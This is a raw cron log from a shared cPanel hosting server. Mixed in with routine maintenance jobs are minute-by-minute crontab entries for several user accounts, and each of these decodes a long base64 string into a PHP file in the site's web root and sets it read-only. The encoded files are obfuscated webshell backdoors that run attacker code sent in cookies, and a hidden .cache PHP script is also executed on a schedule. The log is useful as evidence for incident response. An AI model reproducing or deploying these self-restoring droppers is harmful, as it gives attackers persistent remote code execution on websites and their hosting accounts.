Mar  1 07:48:01 medusa CROND[3884]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:48:01 medusa CROND[3885]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:48:01 medusa CROND[3886]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:48:01 medusa CROND[3891]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 07:48:01 medusa CROND[3895]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:48:01 medusa CROND[3894]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:48:01 medusa CROND[3896]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:48:01 medusa CROND[3890]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:49:02 medusa CROND[25646]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:49:02 medusa CROND[25667]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:49:02 medusa CROND[25668]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:49:02 medusa CROND[25669]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:49:02 medusa CROND[25670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:49:02 medusa CROND[25678]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:49:02 medusa CROND[25682]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:49:02 medusa CROND[25685]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:49:02 medusa CROND[25687]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:49:02 medusa CROND[25693]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 07:49:02 medusa CROND[25699]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:49:02 medusa CROND[25698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:50:01 medusa CROND[15066]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 07:50:01 medusa CROND[15069]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 07:50:01 medusa CROND[15100]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 07:50:02 medusa CROND[15179]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 07:50:02 medusa CROND[15194]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 07:50:02 medusa CROND[15195]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:50:02 medusa CROND[15196]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 07:50:02 medusa CROND[15197]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:50:02 medusa CROND[15198]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 07:50:02 medusa CROND[15201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:50:02 medusa CROND[15207]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:50:02 medusa CROND[15200]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 07:50:02 medusa CROND[15208]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:50:02 medusa CROND[15210]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 07:50:02 medusa CROND[15212]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:50:02 medusa CROND[15199]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 07:50:02 medusa CROND[15213]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
